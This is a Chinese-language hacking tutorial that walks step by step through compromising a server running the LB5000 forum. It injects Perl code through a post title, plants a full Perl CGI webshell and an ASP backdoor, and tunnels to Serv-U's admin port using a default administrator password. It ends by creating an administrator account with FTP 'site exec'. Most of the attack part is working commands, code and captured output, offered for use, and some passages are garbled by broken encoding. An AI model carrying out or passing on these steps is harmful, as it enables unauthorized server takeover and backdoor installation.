内容:
目标服务器配置:/Windows2000/ /IIS5.0/ /MSSQL/ /MYSQL/ /SERV-U 4.0.1/ /ACTIVEPERL/
服务器权限设置:EVERYONE /完全控制/
服务器补丁情况:系统 /SP4/ MSSQL /SP3/
其实这篇文章没有什么技术含量,只是想把一些好的思路跟大家分享出来!
想必大家都知道LB论坛吧?我就不对其论坛及漏洞做过多的介绍了!
首先我们来注册一个帐户,然后我们随便找个版块发表一个文章!
在标题栏上输入and system('dir c:\')#
OK!发表成功后,在地址栏处有相应文章ID
http://127.0.0.1/cgi-bin/topic.cgi?forum=1&topic=1
我们修改连接地址然后在地址栏提交此URL,就会触发此漏洞!如下:
http://127.0.0.1/cgi-bin/forum1/1.pl
呵呵,看到什么了吗?
-----------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Can't find string terminator "'" anywhere before EOF at D:\bbs\cgi-bin\forum1\1.pl line 1.
-----------------------------
恩,这!
样我们就得到了论坛在目标服务器上的本地路径!
OK,接下来我们要通过此漏洞得到一个WEBSHELL,WEBSHELL的代码如下:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{ QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") ││ die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我们把它保存为*.txt文件!保存后,进帖子,我们上传,上传类型选择TXT!
上传完毕后,我们看看这个小东东的地址是什么!
http://127.0.0.1/non-cgi/usr/1/1_1.txt
这就是我们的CGI网页木马了!我们通过标题栏来把这个txt文件改为*.cgi的!
编辑自己的帖子!
and system('ren d:\bbs\non-cgi\usr\1\1_1.txt cmd.cgi')#
这里要说明一下!如果论坛的路径设置的很深(?
热纾篸:\webhost\www\website\host1\bbs\lb5000\non-cgi\usr\1\1_1!
.txt)<b
r>
我们就无法进行改名,因为标题栏处有限制,不可以超过40个汉字,路径太长!怎么办?别着急!看下面!
我们先把编辑帖子的页面保存下来!用记事本打开保存的*.htm文件!找到提交标题栏的form表单!
<FORM name=FORM action=editpost.cgi method=post encType=multipart/form-data>
/我们把action提交的页面修改成editpost.cgi在目标服务器的URL地址:
/<FORM name=FORM action=http://127.0.0.1/cgi-bin/editpost.cgi method=post encType=multipart/form-data>
……代码省略……
<TD bgColor=#f4faed><INPUT maxLength=80 size=60 value=这里就是关键,我们在这里填入要提交的表单!
name=newtopictitle>不得超过 40 个汉字</TD>
……代码省略……
</FORM>
这样就可以了,保存,双击打开它,然后点“发表”!就OK了!
提交后我们来执行!
http://127.0.0.1/cgi-bin/forum1/1.pl
刷新一下就可以了!我们来看看有没有执行成功?!
http://127.0.0.1/non-cgi/usr/1/cmd.cgi
哈哈,是不是已经可以了?到此,我们就已经得到了一个WEBSHELL,我们来看看服务器?
那榭?br>
http://127.0.0.1/non-cgi/usr/1/cmd.cgi?net start
有终端,且安装了SERV-U(据我了解70%以上的服务器都有安装它)这个软件说好也好,说不好也不好!
好就好在它很实用,不好在于它的漏洞很多,这不!SERV-U5.0现在都可以溢出。。。建议大家都别用它了!
继续!我对这个CGI的后门不太喜欢,所以,我这里用ASP的后门!用同样的方法来上传一个ASP后门(我用的是海阳顶端网ASP木马)
http://127.0.0.1/non-cgi/usr/1/cmd.asp
呵呵!接下来我们利用SERV-U来获得SYSTEM权限的帐户!
我们登陆ASP后门!进入d:\bbs\non-cgi\usr\1目录下,我们需要一个小东西-FPIPE.EXE,这个东西不用介绍了吧?!呵呵~·
把它传到此目录下!传好后,咱们来执行它!在ASP目录里执行!
d:\bbs\non-cgi\usr\1\fpipe -v -l 19739 -r 43958 127.0.0.1
好!监听端口19739,打开你本地SERV-U添加一台服务器,来连接19739!
填上服务器IP,监听端口号19739,填上帐户和密码!
user:LocalAdministrator
pass:#l@$ak#.lk;0@P
全部搞定后,来连接SERV-U,连接成功后,我们就对此服务器?
腟ERV-U有了完全控制权限!
我们建立一个FTP帐户:
!
user:adm
in
pass:caozhe
把帐户的连接路径设置在系统盘下(例如C:\)!帐户权限全部分配(最好还提升至系统管理员)
然后,我们打开CMD!
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.
C:\document. and Settings\Administrator>ftp
ftp>open 127.0.0.1
Connected to ip.
220 Serv-U FTP Server v4.0.1 for WinSock ready...
User (ip:(none)):admin /我们刚建立的帐户名
331 User name okay, please send complete E-mail address as password.
Password:caozhe /密码
230 User logged in, proceed.
ftp> cd winnt\system32 /进入系统的winnt\system32目录下
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user admin caozhe /add /利用NET.EXE建立帐户
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators admin /add /把admin帐户加到管理员组
200 EXEC command successful (TID=33).
到此,我们已经拥有了一个SYST!
EM级别的帐户,用终端服务来连接吧!呵呵,接下来的事,你们看着办吧!
希望大家别去破坏别人的服务器或数据,毕竟大家都不容易!
有任何问题或对此文有意见的请与我联系!
草哲